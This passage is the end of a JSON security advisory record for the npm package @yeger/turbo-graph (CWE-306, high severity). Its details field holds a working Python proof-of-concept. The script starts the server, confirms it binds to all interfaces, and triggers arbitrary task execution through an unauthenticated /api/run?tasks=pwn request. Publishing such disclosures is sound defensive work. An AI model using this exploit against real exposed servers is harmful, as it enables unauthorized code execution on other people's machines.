buf.split(\"\\n\\n\", 1)\n                    ev: dict = {}\n                    for line in block.strip().split(\"\\n\"):\n                        if line.startswith(\"event: \"):\n                            ev[\"type\"] = line[7:]\n                        elif line.startswith(\"data: \"):\n                            ev[\"data\"] = line[6:]\n                        # ignore SSE comments (':') and 'retry:' lines\n                    if ev.get(\"type\"):\n                        events.append(ev)\n                        preview = ev.get(\"data\", \"\")[:120]\n                        print(f\"  [SSE]  event={ev['type']}  data={preview}\")\n                        if ev[\"type\"] == \"end\":\n                            return events\n    except urllib.error.HTTPError as exc:\n        print(f\"  [!] HTTP error: {exc.code} {exc.reason}\")\n    except Exception as exc:\n        print(f\"  [!] Stream error: {type(exc).__name__}: {exc}\")\n    return events\n\n\n# ---------------------------------------------------------------------------\n# Main PoC\n# ---------------------------------------------------------------------------\n\ndef main() -> int:\n    sep = \"=\" * 64\n    print(sep)\n    print(\"VULN-001 PoC  —  Unauthenticated Turborepo Task Execution\")\n    print(\"Package : @yeger/turbo-graph@2.8.8\")\n    print(\"CWE-306 : Missing Authentication for Critical Function\")\n    print(sep)\n    print()\n\n    # Remove stale proof file from a previous run\n    if os.path.exists(PROOF_FILE):\n        os.remove(PROOF_FILE)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start turbo-graph server from the victim project directory\n    # The CLI does NOT pass a hostname to .listen(), so Node.js binds to\n    # 0.0.0.0 (all interfaces) — see index.ts:44.\n    # ------------------------------------------------------------------\n    print(f\"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...\")\n    server = subprocess.Popen(\n        [TURBO_GRAPH_BIN, \"--port\", str(PORT)],\n        cwd=VICTIM_DIR,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n    )\n\n    # ------------------------------------------------------------------\n    # Step 2: Wait for the port to become available\n    # ------------------------------------------------------------------\n    print(f\"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...\")\n    ready = wait_for_port(\"127.0.0.1\", PORT, timeout=SERVER_STARTUP_TIMEOUT)\n    if not ready:\n        server.kill()\n        stdout, _ = server.communicate()\n        print(f\"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.\")\n        print(f\"    stdout/stderr:\\n{stdout[:2000]}\")\n        return 1\n    print(f\"[+] Server is accepting connections on port {PORT}.\")\n\n    # ------------------------------------------------------------------\n    # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)\n    # Flaw 1: .listen(port) without hostname → network-exposed.\n    # ------------------------------------------------------------------\n    ss_output = get_socket_binding(PORT)\n    print(f\"\\n[3] Socket binding (ss -tlnp sport=:{PORT}):\")\n    print(f\"    {ss_output}\")\n    if binding_is_all_interfaces(ss_output):\n        print(f\"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.\")\n    else:\n        print(f\"[?] Could not confirm all-interface binding; proceeding with request test.\")\n\n    # ------------------------------------------------------------------\n    # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request\n    # Flaw 2: no authentication, authorisation, CSRF check, or task\n    #         allowlist — see route.ts:156-177.\n    # ------------------------------------------------------------------\n    url = f\"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true\"\n    print(f\"\\n[4] Sending unauthenticated HTTP request (no token, no credentials):\")\n    print(f\"    GET {url}\")\n    sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)\n\n    # Allow a moment for any buffered I/O in the child process to flush\n    time.sleep(3)\n\n    # ------------------------------------------------------------------\n    # Step 5: Evaluate exploitation results\n    # ------------------------------------------------------------------\n    exploited = os.path.exists(PROOF_FILE)\n    proof_content = open(PROOF_FILE).read().strip() if exploited else \"\"\n\n    start_event = next((e for e in sse_events if e.get(\"type\") == \"start\"), None)\n    end_event   = next((e for e in sse_events if e.get(\"type\") == \"end\"),   None)\n    log_events  = [e for e in sse_events if e.get(\"type\") in (\"log\", \"stderr\")]\n\n    print()\n    print(sep)\n    print(\"EVIDENCE SUMMARY\")\n    print(sep)\n\n    # Evidence A: socket binding\n    if binding_is_all_interfaces(ss_output):\n        print(f\"[A] FLAW-1  — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}\")\n    else:\n        print(f\"[A] FLAW-1  — ss output: {ss_output[:80]}\")\n\n    # Evidence B: unauthenticated SSE response\n    if start_event:\n        print(f\"[B] FLAW-2  — Unauthenticated /api/run accepted; SSE start args:\")\n        print(f\"              {start_event.get('data', '')}\")\n    else:\n        received = [e.get(\"type\") for e in sse_events]\n        print(f\"[B] FLAW-2  — SSE events received: {received}\")\n\n    # Evidence C: turbo task exit code\n    if end_event:\n        print(f\"[C] TURBO   — turbo run exit code: {end_event.get('data', '')}\")\n\n    # Evidence D: proof file (arbitrary code execution)\n    if exploited:\n        print(f\"[D] EXPLOIT — Proof file created: {PROOF_FILE}\")\n        print(f\"              Content: {proof_content}\")\n    else:\n        print(f\"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}\")\n        if log_events:\n            print(f\"    Task stdout/stderr (first 5 lines):\")\n            for ev in log_events[:5]:\n                print(f\"      [{ev['type']}] {ev.get('data', '')}\")\n\n    print(sep)\n\n    # Clean up\n    server.kill()\n    server.wait(timeout=10)\n\n    if exploited:\n        print(\"\\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.\")\n        return 0\n    else:\n        print(\"\\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@yeger/turbo-graph"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.8.12"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.8.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/DerYeger/yeger/security/advisories/GHSA-2r5q-h53f-9rp3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/DerYeger/yeger"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-09T23:47:55Z",
    "nvd_published_at" : null
  }
}